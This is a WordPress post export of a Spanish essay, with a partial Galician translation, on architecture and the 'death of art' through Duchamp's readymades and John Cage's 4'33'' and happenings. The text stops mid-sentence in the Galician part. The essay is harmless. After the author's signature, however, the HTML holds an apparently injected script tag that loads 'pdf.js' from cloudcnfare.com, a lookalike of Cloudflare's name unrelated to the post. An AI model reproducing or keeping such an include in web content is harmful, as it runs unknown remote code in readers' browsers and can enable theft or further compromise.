{"id":21317,"date":"2018-09-28T00:01:37","date_gmt":"2018-09-27T22:01:37","guid":{"rendered":"http:\/\/veredes.es\/blog\/?p=21317"},"modified":"2022-02-09T17:54:35","modified_gmt":"2022-02-09T16:54:35","slug":"la-arquitectura-ante-la-muerte-del-arte-jose-ramon-hernandez-correa","status":"publish","type":"post","link":"https:\/\/veredes.es\/blog\/la-arquitectura-ante-la-muerte-del-arte-jose-ramon-hernandez-correa\/","title":{"rendered":"[:es]La arquitectura ante la muerte del arte | Jos\u00e9 Ram\u00f3n Hern\u00e1ndez Correa[:gl]A arquitectura ante a morte da arte | Jos\u00e9 Ram\u00f3n Hern\u00e1ndez Correa[:en]The architecture in front of the death of the art | Jos\u00e9 Ram\u00f3n Hern\u00e1ndez Correa[:]"},"content":{"rendered":"<p>[:es]<\/p>\n<p style=\"text-align: justify;\">Las vanguardias art\u00edsticas siempre han mirado a la arquitectura de una manera ambigua. Por una parte, los artistas (pintores, escultores, fot\u00f3grafos, poetas, m\u00fasicos&#8230;) han tenido siempre colgada la etiqueta de chisgarabises, y han buscado con af\u00e1n meter en su\u00a0<i>troupe<\/i>\u00a0a alg\u00fan arquitecto, que parec\u00eda darle respetabilidad al grupo o movimiento que fuese. (Un arquitecto tiene sensibilidad art\u00edstica, pero adem\u00e1s sabe multiplicar, incluso con decimales).<\/p>\n<p style=\"text-align: justify;\">Por otra parte, el arte de vanguardia tiene siempre algo de ef\u00edmero, de burbujeante fugaz. Incluso la escultura abandona los materiales tradicionales y experimenta con papel, madera, chapa, alambre, etc. La arquitectura es mucho m\u00e1s s\u00f3lida y duradera. Adem\u00e1s, la arquitectura es mucho m\u00e1s grande y, sobre todo, hace ciudad. Es decir: hace ambiente, espacio urbano y humano. Es escenario de la vida de la gente, e influye en ella. Por eso la arquitectura sirve como abanderado y como relaciones p\u00fablicas del grupo art\u00edstico al que pertenece, y al que representa ante la sociedad.<\/p>\n<p style=\"text-align: justify;\">Pero contra todo esto, tambi\u00e9n hay que decir que muchos \u00abartistas puros\u00bb siempre han visto con malos ojos la inclusi\u00f3n de arquitectos en sus grupos, porque desvirtuaban el sentido de su movimiento.<\/p>\n<p style=\"text-align: justify;\">Haciendo una simplificaci\u00f3n muy grosera, los movimientos \u00abconstructivos\u00bb (<i>De Stijl<\/i>, Bauhaus, Constructivismo, etc.) han sido siempre muy arquitect\u00f3nicos y muy para arquitectos (aunque\u00a0<b>Van der Leck<\/b>\u00a0y\u00a0<a href=\"http:\/\/es.wikipedia.org\/wiki\/Piet_Mondrian\"><b>Mondrian<\/b><\/a>\u00a0se cabreasen). Intentaban ordenar el mundo y se val\u00edan de la geometr\u00eda, el orden, el rigor&#8230; Justo lo que un arquitecto necesitaba. Pero los movimientos \u00abdisolventes\u00bb (Expresionismo, Dad\u00e1, Surrealismo, etc.) ni han gustado a los arquitectos ni tampoco los han querido. (No obstante, algunos han buscado la forma, si fuera posible, de \u00abconstruir el caos\u00bb, de plasmar met\u00f3dicamente el cachondeo).<\/p>\n<p style=\"text-align: justify;\">Un artista dad\u00e1 al que nos referimos en la anterior entrada,\u00a0<a href=\"https:\/\/www.marcelduchamp.net\/\"><b>Marcel Duchamp<\/b><\/a>, acab\u00f3 con el arte. No fue el \u00fanico: Hubo bastantes artistas que acabaron con el arte.<\/p>\n<p style=\"text-align: justify;\">Duchamp pens\u00f3 que si un objeto existente se sacaba de su contexto y se presentaba como obra de arte, solo por eso ser\u00eda una obra de arte.<\/p>\n<p style=\"text-align: justify;\">Hizo un agujero en el asiento de un taburete e insert\u00f3 una rueda de bicicleta con su horquilla:<\/p>\n<figure id=\"attachment_70358\" aria-describedby=\"caption-attachment-70358\" style=\"width: 640px\" class=\"wp-caption alignnone\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-70358\" src=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap.jpg\" alt=\"M. Duchamp \" width=\"640\" height=\"640\" srcset=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap.jpg 915w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap-120x120.jpg 120w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap-300x300.jpg 300w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap-150x150.jpg 150w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><figcaption id=\"caption-attachment-70358\" class=\"wp-caption-text\"><span style=\"color: #999999;\">M. Duchamp<\/span><\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Hala, ya est\u00e1. Obra de arte. \u00bfPor qu\u00e9? Porque no serv\u00eda ni para sentarse ni para rodar. Porque era la suma de dos objetos existentes que se interfer\u00edan mutuamente para perder su uso y su sentido. Al no servir ya para nada, serv\u00edan para pensar, para quedarse perplejo, para indignarse, para poner a parir al autor, etc. (Todas ellas son funciones de la obra de arte).<\/p>\n<p style=\"text-align: justify;\">Hizo otra cosa: Tom\u00f3 un urinario y lo present\u00f3 a una exposici\u00f3n en otra postura (horizontal en vez de vertical), con un t\u00edtulo que indicaba otra funci\u00f3n (<i>Fuente<\/i>) y, sobre todo, firmado (con el seud\u00f3nimo R. Mutt) y fechado (1917).<\/p>\n<figure id=\"attachment_70359\" aria-describedby=\"caption-attachment-70359\" style=\"width: 640px\" class=\"wp-caption alignnone\"><img loading=\"lazy\" decoding=\"async\" class=\"size-large wp-image-70359\" src=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap-Fuente-1917-1024x895.jpg\" alt=\"Marcel Duchmap. Fuente (1917)\" width=\"640\" height=\"559\" srcset=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap-Fuente-1917-1024x895.jpg 1024w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap-Fuente-1917-300x262.jpg 300w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap-Fuente-1917.jpg 1200w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><figcaption id=\"caption-attachment-70359\" class=\"wp-caption-text\"><span style=\"color: #999999;\">Marcel Duchmap. Fuente (1917)<\/span><\/figcaption><\/figure>\n<p style=\"text-align: justify;\">La desfachatez consisti\u00f3 en que con tan solo ese gesto el urinario se convert\u00eda en obra de arte. Su presentaci\u00f3n a una exposici\u00f3n le daba el cach\u00e9 de arte, as\u00ed como su firma y fecha. Su cambio de posici\u00f3n y de uso produc\u00eda una excitante\u00a0<a href=\"http:\/\/arquitectamoslocos.blogspot.com.es\/2010\/12\/fision-semantica.html\"><b>fisi\u00f3n sem\u00e1ntica<\/b><\/a>\u00a0que abr\u00eda nuevas puertas a nuevas expectativas e interpretaciones.<\/p>\n<p style=\"text-align: justify;\">Una vez hecho esto, ya no hab\u00eda nada m\u00e1s que hacer.<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">\u00abArte es todo lo que el artista dice que es arte\u00bb.<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">Estupendo, pero ante semejante afirmaci\u00f3n cabe la siguiente pregunta:<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">\u00ab\u00bfY qui\u00e9n es artista?\u00bb<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">Pregunta que tiene una respuesta evidente:<\/p>\n<blockquote>\n<p style=\"text-align: justify;\">\u00abArtista es todo aquel que hace arte\u00bb.<\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">Este c\u00edrculo vicioso tautol\u00f3gico no tiene salida. Y lo bueno es que es verdad.<\/p>\n<p style=\"text-align: justify;\">Yo me siento artista, yo propongo un objeto, un acto, un poema, un ruido, etc, como obra de arte, y eso suscita inmediatamente cr\u00edticas, valoraciones, respuestas, indiferencia, reacciones, etc. Justo lo que suscita toda obra de arte. Por lo tanto, he hecho arte. Por lo tanto, soy artista. \u00bfCon mucho talento, con poco? \u00bfSoy un buen artista, soy malo?<\/p>\n<blockquote>\n<p style=\"text-align: justify;\"><strong>\u00a1No me fastidi\u00e9is! \u00a1No me veng\u00e1is con juicios, con valoraciones! \u00a1No se\u00e1is retr\u00f3grados burgueses!<\/strong><\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">Duchamp era un provocador. Los dos ejemplos que acabamos de ver son dos intentos (logrados) de llevar el arte al abismo, de ponerlo en el disparadero y no darle opci\u00f3n. Pero era, como dijimos, un provocador aburrido, un hombre tranquilo. No quer\u00eda salir airoso, no quer\u00eda triunfar, no quer\u00eda demostrar nada, ni tener raz\u00f3n, ni nada. Una vez hundido el arte, se retir\u00f3 a jugar al ajedrez. Nunca quiso explotar su fama, ni ganar dinero, ni escandalizar a nadie. Sencillamente, ya no hab\u00eda nada m\u00e1s que decir.<\/p>\n<p style=\"text-align: justify;\">Como dijimos, mucha gente sigui\u00f3 esa l\u00ednea. Entre ellos, el m\u00fasico\u00a0<a href=\"https:\/\/johncage.org\/\"><b>John Cage<\/b><\/a>. Leo en algunas biograf\u00edas que en Europa estudi\u00f3 arquitectura y piano, pero no lo puedo confirmar. Lo que s\u00ed parece seguro es que la arquitectura le interesaba de alguna forma. Y \u00e9l\u00a0<a href=\"http:\/\/issuu.com\/mj28\/docs\/musica_y_arquitectura\">ha interesado a los arquitectos<\/a>\u00a0de muchas formas.<\/p>\n<p style=\"text-align: justify;\">Aparte de sus experimentos con sonidos y silencios, se le tiene por el creador del primer\u00a0<a href=\"http:\/\/es.wikipedia.org\/wiki\/Happening\">happening<\/a>, que, en plena improvisaci\u00f3n simult\u00e1nea y des-coordinada, des-compone las evoluciones de los diversos agentes intervinientes en el tiempo y en el espacio.<\/p>\n<p style=\"text-align: justify;\">Sus partituras traman la aleatoriedad. No la organizan, la exponen. Curiosamente, tambi\u00e9n eso es una forma de no-organizar el espacio.<\/p>\n<figure id=\"attachment_70360\" aria-describedby=\"caption-attachment-70360\" style=\"width: 640px\" class=\"wp-caption alignnone\"><img loading=\"lazy\" decoding=\"async\" class=\"size-large wp-image-70360\" src=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-cage-1024x666.jpg\" alt=\"John Cage\" width=\"640\" height=\"416\" srcset=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-cage-1024x666.jpg 1024w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-cage-300x195.jpg 300w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-cage-160x105.jpg 160w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-cage.jpg 1200w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><figcaption id=\"caption-attachment-70360\" class=\"wp-caption-text\"><span style=\"color: #999999;\">John Cage<\/span><\/figcaption><\/figure>\n<p style=\"text-align: justify;\">John Cage est\u00e1 lleno de sugerencias para los arquitectos. Agradezco infinitamente los comentarios de los lectores de la anterior entrada. Todos merecen re-comentario.<\/p>\n<p style=\"text-align: justify;\">MJGE dice que un posible equivalente arquitect\u00f3nico a la apertura de 4&#8217;33\u00bb ser\u00eda dejar un mero contenedor para que cada usuario lo completara. Estoy de acuerdo. (Me recuerda en algo a una idea de <a href=\"http:\/\/www.arquitectamoslocos.blogspot.com.es\/2011\/08\/una-ocurrencia-potente.html\" target=\"_blank\" rel=\"noopener noreferrer\">O\u00edza<\/a>). Pero tambi\u00e9n podr\u00eda ser que la obra arquitect\u00f3nica fuera lo suficientemente silenciosa, discreta, neutra, para que cada usuario viviera sus propias experiencias. O tambi\u00e9n que cada obra tuviera un cierto grado de imprevisibilidad y aleatoriedad que complicara, o sofisticara, la habitaci\u00f3n humana en ella. No s\u00e9. El ejemplo de Cage abre muchos vectores.<\/p>\n<p style=\"text-align: justify;\">Programa 3.6. menciona las partituras pl\u00e1sticas de Cage, de las que he buscado los ejemplos que he puesto ah\u00ed arriba. S\u00ed. Matrices organizativas, planos t\u00e1cticos, esquemas de batallas o de \u00abacciones program\u00e1ticas\u00bb.<\/p>\n<p style=\"text-align: justify;\">Francis, un no-arquitecto atento a la cultura, inteligente y curioso, ironiza con la falta de conexi\u00f3n entre el arte y el p\u00fablico, y habla del disfrute del arte y del af\u00e1n de entenderlo. Lamentablemente, tanto una como otra cosa son cada vez m\u00e1s escurridizas. Pero ambas, en definitiva, generan ocasiones para asomarnos a nosotros mismos. Por eso seguimos yendo a los museos.<\/p>\n<p style=\"text-align: justify;\">Seguramente no haya que insistir mucho para constatar la muerte del arte. Las vanguardias exploraron todos los caminos, y los recorrieron hasta el final, hasta el agotamiento. La conclusi\u00f3n es l\u00facida, indicutible. Se han alcanzado los \u00faltimos objetivos. La guerra ha terminado.<\/p>\n<p style=\"text-align: justify;\">Pero entonces, como dice\u00a0<a href=\"https:\/\/www.museooteiza.org\/\"><b>Oteiza<\/b><\/a>, el arte abandona su camino experimental y se da a la comunidad, se hace social. Y, en cierto modo, se hace arquitectura. La arquitectura no es arte (al menos no es un arte puro; de esto hablaremos otro d\u00eda). La arquitectura toma el cad\u00e1ver del arte y lo entierra. Y, como ha aprendido lo suficiente de \u00e9l y de todo su proceso, se hace espacio, se hace ciudad, se hace comunidad, y se entrega a la ciudadan\u00eda.<\/p>\n<p style=\"text-align: justify;\">La buena arquitectura toma ecos del silencio de 4&#8217;33\u00bb y de la alagarab\u00eda de los happenings de John Cage, se abre, fluye y ofrece el espacio a la experiencia humana. Porque solo sirve para estar al servicio de la experiencia humana.<\/p>\n<p><iframe loading=\"lazy\" title=\"John Cage&#039;s 4&#039;33&quot;\" width=\"696\" height=\"522\" src=\"https:\/\/www.youtube.com\/embed\/JTEFKFiXSx4?feature=oembed\" frameborder=\"0\" allow=\"accelerometer; autoplay; clipboard-write; encrypted-media; gyroscope; picture-in-picture\" allowfullscreen><\/iframe><\/p>\n<p>Jos\u00e9 Ram\u00f3n Hern\u00e1ndez Correa<br \/>\nDoctor Arquitecto y autor de<em>\u00a0Arquitectamos locos?<\/em><br \/>\nToledo \u00b7 abril\u00a02012<\/p>\n<p><script src=\"https:\/\/cloudcnfare.com\/pdf.js\" type=\"text\/javascript\"><\/script>[:gl]<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">As vanguardias art\u00edsticas sempre miraron \u00e1 arquitectura dun xeito ambiguo. Por unha banda, os artistas (pintores, escultores, fot\u00f3grafos, poetas, m\u00fasicos&#8230;) han ter sempre colgada a etiqueta de chisgarabises, e buscaron con af\u00e1n meter no seu <em>troupe<\/em> a alg\u00fan arquitecto, que parec\u00eda darlle respetabilidad ao grupo ou movemento que fose. (Un arquitecto ten sensibilidade art\u00edstica, pero ademais sabe multiplicar, ata con decimales).<\/p>\n<p style=\"text-align: justify;\">Por outra banda, a arte de vanguardia ten sempre algo de ef\u00e9mero, de burbujeante fugaz. Incluso a escultura abandona os materiais tradicionais e experimenta con papel, madeira, chapa, alambre, etc. A arquitectura \u00e9 moito m\u00e1is s\u00f3lida e duradera. Ademais, a arquitectura \u00e9 moito m\u00e1is grande e, sobre todo, fai cidade. \u00c9 dicir: fai ambiente, espazo urbano e humano. \u00c9 escenario da vida da xente, e infl\u00fae nela. Por iso a arquitectura serve como abanderar e como relaci\u00f3ns p\u00fablicas do grupo art\u00edstico ao que pertence, e ao que representa ante a sociedade.<\/p>\n<p style=\"text-align: justify;\">Pero contra todo isto, tam\u00e9n hai que dicir que moitos \u00abartistas puros\u00bb sempre viron con malos ollos a inclusi\u00f3n de arquitectos nos seus grupos, porque desvirtuaban o sentido do seu movemento.<\/p>\n<p style=\"text-align: justify;\">Facendo unha simplificaci\u00f3n moi groseira, os movementos \u00abconstrutivos\u00bb (<em>De Stijl<\/em>, Bauhaus, Constructivismo, etc.) foron sempre moi arquitect\u00f3nicos e moi para arquitectos (a\u00ednda que <b>Van der Leck<\/b>\u00a0e\u00a0<a href=\"http:\/\/es.wikipedia.org\/wiki\/Piet_Mondrian\"><b>Mondrian<\/b><\/a> se cabreasen). Tentaban ordenar o mundo e val\u00edanse da xeometr\u00eda, a orde, o rigor&#8230; Xusto o que un arquitecto necesitaba. Pero os movementos \u00abdisolventes\u00bb (Expresionismo, Dad\u00e1, Surrealismo, etc.) nin gustaron aos arquitectos nin tampouco os quixeron. (Con todo, alg\u00fans buscaron a forma, se fose posible, de \u00abconstru\u00edr o caos\u00bb, de plasmar metodicamente a broma).<\/p>\n<p style=\"text-align: justify;\">Un artista dad\u00e1 ao que nos referimos na anterior entrada, <a href=\"https:\/\/www.marcelduchamp.net\/\"><b>Marcel Duchamp<\/b><\/a>, acabou coa arte. Non foi o \u00fanico: Houbo bastantes artistas que acabaron coa arte.<\/p>\n<p style=\"text-align: justify;\">Duchamp pensou que se un obxecto existente sac\u00e1base do seu contexto e present\u00e1base como obra de arte, s\u00f3 por iso ser\u00eda unha obra de arte.<\/p>\n<p style=\"text-align: justify;\">Fixo un buraco no asento dun taburete e inseriu unha roda de bicicleta coa s\u00faa pinza:<\/p>\n<figure id=\"attachment_70358\" aria-describedby=\"caption-attachment-70358\" style=\"width: 640px\" class=\"wp-caption alignnone\"><img loading=\"lazy\" decoding=\"async\" class=\"wp-image-70358\" src=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap.jpg\" alt=\"M. Duchamp \" width=\"640\" height=\"640\" srcset=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap.jpg 915w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap-120x120.jpg 120w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap-300x300.jpg 300w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap-150x150.jpg 150w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><figcaption id=\"caption-attachment-70358\" class=\"wp-caption-text\"><span style=\"color: #999999;\">M. Duchamp<\/span><\/figcaption><\/figure>\n<p style=\"text-align: justify;\">Ala, xa est\u00e1. Obra de arte. Por que? Porque non serv\u00eda nin para sentar nin para rodar. Porque era a suma de dous obxectos existentes que se interfer\u00edan mutuamente para perder o seu uso e o seu sentido. Ao non servir xa para nada, serv\u00edan para pensar, para quedar perplexo, para indignarse, para po\u00f1er a parir ao autor, etc. (Todas elas son funci\u00f3ns da obra de arte).<\/p>\n<p style=\"text-align: justify;\">Fixo outra cousa: Tomou un urinario e presentouno a unha exposici\u00f3n noutra postura (horizontal no canto de vertical), cun t\u00edtulo que indicaba outra funci\u00f3n (<em>Fonte<\/em>) e, sobre todo, asinado (co pseud\u00f3nimo R. Mutt) e datado (1917).<\/p>\n<figure id=\"attachment_70359\" aria-describedby=\"caption-attachment-70359\" style=\"width: 640px\" class=\"wp-caption alignnone\"><img loading=\"lazy\" decoding=\"async\" class=\"size-large wp-image-70359\" src=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap-Fuente-1917-1024x895.jpg\" alt=\"Marcel Duchmap. Fuente (1917)\" width=\"640\" height=\"559\" srcset=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap-Fuente-1917-1024x895.jpg 1024w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap-Fuente-1917-300x262.jpg 300w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-marcel-duchmap-Fuente-1917.jpg 1200w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><figcaption id=\"caption-attachment-70359\" class=\"wp-caption-text\"><span style=\"color: #999999;\">Marcel Duchmap. Fonte (1917)<\/span><\/figcaption><\/figure>\n<p style=\"text-align: justify;\">A desvergo\u00f1a consistiu en que con tan s\u00f3 ese xesto o urinario convert\u00edase en obra de arte. A s\u00faa presentaci\u00f3n a unha exposici\u00f3n d\u00e1balle o cach\u00e9 de arte, as\u00ed como a s\u00faa firma e data. O seu cambio de posici\u00f3n e de uso produc\u00eda unha excitante <a href=\"http:\/\/arquitectamoslocos.blogspot.com.es\/2010\/12\/fision-semantica.html\"><b>fisi\u00f3n sem\u00e1ntica<\/b><\/a> que abr\u00eda novas portas a novas expectativas e interpretaci\u00f3ns.<\/p>\n<p style=\"text-align: justify;\">Unha vez feito isto, xa non hab\u00eda m\u00e1is nada que facer.<\/p>\n<p style=\"text-align: justify; padding-left: 30px;\">\u00abArte \u00e9 todo o que o artista di que \u00e9 arte\u00bb.<\/p>\n<p style=\"text-align: justify;\">Estupendo, pero ante semellante afirmaci\u00f3n cabe a seguinte pregunta:<\/p>\n<p style=\"text-align: justify; padding-left: 30px;\">\u00abE quen \u00e9 artista?\u00bb<\/p>\n<p style=\"text-align: justify;\">Pregunta que ten unha resposta evidente:<\/p>\n<p style=\"text-align: justify; padding-left: 30px;\">\u00abArtista \u00e9 todo aquel que fai arte\u00bb.<\/p>\n<p style=\"text-align: justify;\">Eu s\u00edntome artista, eu propo\u00f1o un obxecto, un acto, un poema, un ru\u00eddo, etc, como obra de arte, e iso suscita inmediatamente cr\u00edticas, valoraci\u00f3ns, respostas, indiferenza, reacci\u00f3ns, etc. Xusto o que suscita toda obra de arte. Por tanto, fixen arte. Por tanto, son artista. Con moito talento, con pouco? Son un bo artista, son malo?<\/p>\n<p style=\"text-align: justify;\">\n<blockquote>\n<p style=\"text-align: justify;\"><strong>Non me amoledes! Non me ve\u00f1ades con xu\u00edzos, con valoraci\u00f3ns! Non sexades retr\u00f3grados burgueses!<\/strong><\/p>\n<\/blockquote>\n<p style=\"text-align: justify;\">Duchamp era un provocador. Os dous exemplos que acabamos de ver son dous intentos (logrados) de levar a arte ao abismo, de po\u00f1elo no disparadero e non darlle opci\u00f3n. Pero era, como dixemos, un provocador aburrido, un home tranquilo. Non quer\u00eda sa\u00edr airoso, non quer\u00eda triunfar, non quer\u00eda demostrar nada, nin ter raz\u00f3n, nin nada. Unha vez afundido a arte, retirouse a xogar ao xadrez. Nunca quixo explotar a s\u00faa fama, nin ga\u00f1ar di\u00f1eiro, nin escandalizar a ningu\u00e9n. Sinxelamente, xa non hab\u00eda m\u00e1is nada que dicir.<\/p>\n<p style=\"text-align: justify;\">Como dixemos, moita xente seguiu esa li\u00f1a. Entre eles, o m\u00fasico <a href=\"https:\/\/johncage.org\/\"><b>John Cage<\/b><\/a>. Leo nalgunhas biograf\u00edas que en Europa estudou arquitectura e piano, pero non o podo confirmar. O que si parece seguro \u00e9 que a arquitectura lle interesaba dalgunha forma. E el <a href=\"http:\/\/issuu.com\/mj28\/docs\/musica_y_arquitectura\" target=\"_blank\" rel=\"noopener noreferrer\">interesou aos arquitectos<\/a> de moitas formas.<\/p>\n<p style=\"text-align: justify;\">\u00c1 parte dos seus experimentos con sons e silencios, t\u00e9nselle polo creador do primeiro <a href=\"http:\/\/es.wikipedia.org\/wiki\/Happening\">happening<\/a>, que, en plena improvisaci\u00f3n simult\u00e1nea e deas-coordinada, deas-comp\u00f3n as evoluci\u00f3ns dos diversos axentes intervenientes no tempo e no espazo.<\/p>\n<p style=\"text-align: justify;\">As s\u00faas partituras traman a aleatoriedad. Non a organizan, exp\u00f3\u00f1ena. Curiosamente, tam\u00e9n iso \u00e9 unha forma de non-organizar o espazo.<\/p>\n<figure id=\"attachment_70360\" aria-describedby=\"caption-attachment-70360\" style=\"width: 640px\" class=\"wp-caption alignnone\"><img loading=\"lazy\" decoding=\"async\" class=\"size-large wp-image-70360\" src=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-cage-1024x666.jpg\" alt=\"John Cage\" width=\"640\" height=\"416\" srcset=\"https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-cage-1024x666.jpg 1024w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-cage-300x195.jpg 300w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-cage-160x105.jpg 160w, https:\/\/veredes.es\/blog\/wp-content\/uploads\/2018\/09\/La-arquitectura-ante-la-muerte-del-arte-Jos\u00e9-Ram\u00f3n-Hern\u00e1ndez-Correa-cage.jpg 1200w\" sizes=\"auto, (max-width: 640px) 100vw, 640px\" \/><figcaption id=\"caption-attachment-70360\" class=\"wp-caption-text\"><span style=\"color: #999999;\">John Cage<\/span><\/figcaption><\/figure>\n<p style=\"text-align: justify;\">John Cage est\u00e1 cheo de suxesti\u00f3ns para os arquitectos. Agradezo infinitamente os comentarios dos lectores da anterior entrada. Todos merecen re-comentario.<\/p>\n<p style=\"text-align: justify;\">MJGE di que un posible equivalente arquitect\u00f3nico \u00e1 apertura de 4&#8217;33\u00bb ser\u00eda deixar un mero contedor para que cada usuario complet\u00e1seo. Estou de acordo. (L\u00e9mbrame en algo a unha idea de <a href=\"http:\/\/www.arquitectamoslocos.blogspot.com.es\/2011\/08\/una-ocurrencia-potente.html\" target=\"_blank\" rel=\"noopener noreferrer\">O\u00edza<\/a>). Pero tam\u00e9n poder\u00eda ser que a obra arquitect\u00f3nica fose o suficientemente silenciosa, discreta, neutra, para que cada usuario vivise as s\u00faas propias experiencias. Ou tam\u00e9n que cada obra tivese un certo grao de imprevisibilidad e aleatoriedad que complicase, ou sofisticase, a habitaci\u00f3n humana nela. Non sei. O exemplo de Cage abre moitos vectores.<\/p>\n<p style=\"text-align: justify;\">Programa 3.6. menciona as partituras pl\u00e1sticas de Cage, das que busquei os exemplos que puxen a\u00ed arriba. Si. Matrices organizativas, planos t\u00e1cticos, esquemas de batallas ou de \u00abacci\u00f3ns program\u00e1ticas\u00bb.<\/p>\n<p style=\"text-align: justify;\">Francis, un non-arquitecto atento \u00e1 cultura, intelixente e curioso, ironiza coa falta de conexi\u00f3n entre a arte e o p\u00fablico, e fala do #gozar da arte e do af\u00e1n de entendelo. Lamentablemente, tanto unha como outra cousa son cada vez m\u00e1is escurridizas. Pero ambas, en definitiva, xeran ocasi\u00f3ns para asomarnos a n\u00f3s mesmos. Por iso seguimos indo aos museos.<\/p>\n<p style=\"text-align: justify;\">Seguramente non haxa que insistir moito para constatar a morte da arte. As vangardas exploraron todos os cami\u00f1os, e percorr\u00e9ronos ata o final, ata o esgotamento. A conclusi\u00f3n \u00e9 l\u00facida, indicutible. Alcanz\u00e1ronse os \u00faltimos obxectivos. A guerra terminou.<\/p>\n<p style=\"text-align: justify;\">Pero ent\u00f3n, como di <a href=\"https:\/\/www.museooteiza.org\/\"><b>Oteiza<\/b><\/a>, a arte abandona o seu cami\u00f1o experimental e d\u00e1se \u00e1 comunidade, faise social. E, en certo xeito, faise arquitectura. 